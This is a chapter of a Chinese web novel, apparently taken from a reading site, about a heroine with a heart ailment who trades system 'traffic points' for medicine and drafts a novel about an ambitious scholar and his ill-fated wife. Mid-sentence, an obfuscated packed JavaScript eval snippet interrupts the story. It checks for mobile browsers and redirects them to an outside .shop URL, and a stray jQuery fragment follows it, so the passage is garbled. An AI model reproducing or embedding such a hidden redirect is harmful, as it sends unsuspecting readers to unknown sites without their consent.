就在马车堪堪拐过丞相府门前的石狮子时,王伯终于悠悠转醒了。
他迷迷糊糊地动了动脖子,才刚偏了个头,后颈那处便传来一阵钝痛,疼得他忍不住“嘶”了一声,下意识抬手去捂。
王伯眨了眨浑浊的眼,好一会儿才看清身旁赶车的人影是翠玉,便哑着嗓子呢喃道:“奇了怪了……怎么感觉方才醒了一回,又被人给打晕了……”
翠玉耳朵尖得很,王伯话音刚落,她便先发制人,面不改色心不跳地接过话头,语气里带着几分关切:
“王伯您可算醒了!您方才在山上到底发生了什么事?我与小姐下来时,就瞧见您倒在马车边,可把我们吓了一跳。”
翠玉说着,又驾轻就熟地补了一句:“我把您扶上车后便赶紧赶着车回来了,您一直晕到现在才醒呢。”
王伯一听,茫然地揉了揉后颈,暗自嘀咕了一句“难道是我记岔了”,便将那点模糊的念头彻底抛到了脑后。
他皱着眉回想了一番,老老实实答道:“我原本是在那等小姐和你回来的,听见一阵动静,以为是你们回来了,便转头去看。谁曾想刚转过身,后脖子就挨了一下,眼前一黑便什么都不知道了。”
翠玉“哦”了一声,又抬手拍了拍自己的胸脯,心有余悸道:“那王伯您多半是遇着歹人了!好在歹人对您没有杀心,这便是不幸中的万幸了。”
温清沅在车厢里听着两人一来一往的对答,嘴角微微抽了一下。
待马车停稳,她由翠玉扶着下了车,朝王伯温和地笑了笑:“今个辛苦王伯了。翠玉……”
翠玉立刻会意,从腰间的小荷包里摸出一两碎银子,利落地塞到王伯手里,脆生生道:“这是小姐给您的赏钱,回去好好歇歇,压压惊。”
王伯捏着那锭银子,又是感激又是惭愧,连连躬身道谢,倒把那点子晕乎劲儿彻底忘干净了。
温清沅带着翠玉进了府门,一路穿廊过院回了自己院里。
回到屋内,她将翠玉也遣了下去,只留自己一个人在屋里。
门扉合上的那一刻,她脸上的笑意便淡了下来。她捂着心口缓缓在桌边坐下,一阵接一阵的气短涌上来,连指尖都有些发凉。
这几日也不知是怎么了,又如从前那般,心口闷闷沉沉的,压得人喘不上气。
她端起桌上的温水抿了一口,缓了好一会儿,正要起身去榻上靠一靠,脑子里便毫无预兆地响起了一道熟悉的机械音。
“宿主您好,温馨提示:普通养心丸效果有限,时效为一周。满七日药效便自动消散,需再次服用方可维持。”
温清沅端着茶盏的手微微一顿。怪不得今日出门一趟累成这般模样,她还以为是救人耗了心力,原来是药效到了。
系统突然的发言让她想起方才在书坊看到的那本账册,她微微坐直了身子,在心里问了一句:“统子,我现在的流量值有多少了?”
这话像是正好戳到了系统的心巴上,系统的声音顿时带上了几分雀跃,尾音都往上扬了扬:“宿主您好。您目前的流量值,刚好足够兑换一枚普通养心丹哦!”
温清沅挑了挑眉,心念一动,系统面板便在眼前徐徐展开。
光屏正中央那行“流量值”的数字跳入眼帘,清清楚楚地写着:213。
“每十个人观看,宿主可获得1流量值。一颗普通养心丹需耗费200流量值。”系统的声音顿了顿,带着几分热切的期盼,“宿主是否现在兑换?”
温清沅盯着那数字看了几息,心里默默盘算了一下。213个流量值,去掉养心丹需要的200个,便只剩13个。
辛苦攒了这么些时日,一下子又见了底。可若不换,心疾复发起来,她连提笔赶稿的力气都没有。她只犹豫了一瞬,便下了决定:“换。”
“叮,普通养心丹兑换成功。”系统欢快地念了一声。
话音刚落,温清沅的掌心里便多了一枚圆润的褐色药丸,散发着淡淡的草药清香。
她低头看了看,没有犹豫,将药丸送入口中,就着温水咽了下去。
药丸入喉即化,温热的暖流顺着喉咙滑下去,不过几息的工夫,方才那股闷重与气短便缓缓散了,呼吸重新变得通畅,连指尖都暖了几分。
“宿主,流量值剩余13。”系统尽职尽责地报了个数,又补了一句,“宿主加油写稿哦,流量值越高,距离宿主能兑换治愈心疾的药品便越近。”
温清沅长舒了一口气,活动了一下手腕,起身走到书案前铺开宣纸,又仔细研了一回墨。
笔尖蘸饱墨汁之前,她先闭眼将思路重新顺了一遍。
上册停在了陈宝生背着书箱踏入京城的那一幕。
他站在城门前仰头望着那块高悬的匾额,日头照在他脸上,这一步跨进去,便是他苦读多年换来的终局。
中册要写的,便是他在京城里发生的事。
温清沅睁开眼,笔尖落下去,墨色在宣纸上徐徐铺开。
“话说上册,陈宝生入了京城,凭着多年寒窗苦读积下的真才实学,一路过五关斩六将,春闱放榜时名列前茅,殿试之上应答如流,圣心大悦,一举被点为探花。”
温清沅能料想到这一段出来时,京城中那些读者们有多么满意,毕竟寒门逆袭,苦尽甘来的故事,谁不爱看?但她要的故事绝不会止步于此。
“金榜题名的消息传回陈家村时,陈母在村口哭了整整一个上午。仿佛要将丈夫离世后独自拉扯幼子的这些年里积攒的苦楚,一并哭尽。”
“邻人纷纷前来道喜,连从前对陈家冷眼相待的几户人家也拎着鸡蛋上了门。陈母将那些红鸡蛋一一收下,擦了泪,只说了一句:‘宝生苦了这些年,总算没白熬。’”
“与此同时,消息也传到了隔壁村。听着外头的丫鬟们叽叽喳喳说着‘那个陈家村的陈宝生中了探花’的闲话,她心头划过几丝酸涩。”
“早知如此,她当初还不如安心跟着陈宝生。可如今说什么都晚了,她仗着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890391|212713||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那张脸嫁给了镇上的富商做妾,如今那富商又看上更年轻水灵的姑娘,她只能困在这方小小的后院里,一日一日地熬着。”
八卦里虽然没描写到秦小莲的反应,可温清沅能确认她听见这消息心中必然不会太好受。
她都能想象到读到这里的读者大概会痛快地骂上一句“活该”。
“京城之中,陈宝生已换上了新制的锦袍,骑着高头大马,在京城最热闹的那条街上,他的目光扫过人群,忽然听见一道尖细的声音。”
“抓小偷了!抓小偷了!”
“他循声望去,便见一个姑娘正提着裙摆奋力追着前面的男人,喊得又急又亮。可满街都是锣鼓声与喝彩声,她的声音被彻底淹没了过去,竟没有几个人留意。”
“那汉子一边跑一边回头张望,脸上带着几分得逞的笑,手里还攥着一只绣工精细的荷包,显然是刚从她身上抢的。”
“陈宝生当机立断,一夹马腹,扬着缰绳便冲了过去,嘴里朗声喊道:“让开!让开!”围观的人群被这阵仗吓了一跳,纷纷向两侧退去。
“那偷荷包的汉子没料到半路杀出个骑马的人来,慌不择路地往旁边窄巷里钻,两人前后夹击,那汉子脚下一个踉跄,摔了个结结实实。”
温清沅承认这一幕确实能让一个正值花龄的姑娘心动,毕竟少年意气,坦荡热忱,谁不喜欢?
可这一刻的心动和一辈子的托付是两码事。
“街上的巡役很快赶到,将人五花大绑地带走了。那姑娘喘着粗气接过失而复得的荷包,抬头看了陈宝生一眼,脸忽然就红了。”
“她姓金,是京城名门金家的独女,闺名一个‘玥’字。父亲是当朝大学士,金玥自小被家中捧在掌心里长大,见过的世家子弟不知凡几,可没有一个人像眼前这人一样,骑着高头大马从人群里冲出来替她追贼。”
“她攥着那只荷包,耳朵尖悄悄红了一截,轻声道了一句:多谢探花郎。”
“金玥回到家中,当即就提了陈宝生的事。金家见金玥心意已决,又查了陈宝生的背景,便同意了。”
“金玥带着丰厚绝伦的嫁妆充盈陈家空虚的家底,更动用金家的人脉为陈宝生打点铺桥。”
“数年呕心扶持,金玥与金家硬生生将一无所有的寒门书生,托举成了朝堂有头有脸的人物,造就如今鼎盛繁华的陈家。”
“可谁曾想,就在所有人都以为金玥就此可以借着陈家风光无限时,她却在为房老爷诞育第二个孩子时不幸难产血崩,九死一生拼尽全力生下幼子,最终撒手离世。”
温清沅写到这时,搁下笔,低着头看向这一段,在心里默默叹了口气。
金玥真真是个好姑娘,性子好,识大体,知进退,可偏偏她遇上的是陈宝生这一个心中揣着旧情,从不曾放下秦小莲的男人。
温清沅是可以将金玥的结局改写,可她不想,她就是要让这姑娘做的所有事都让大家看到,逝者已逝,可金玥活着的血脉还不知道一切。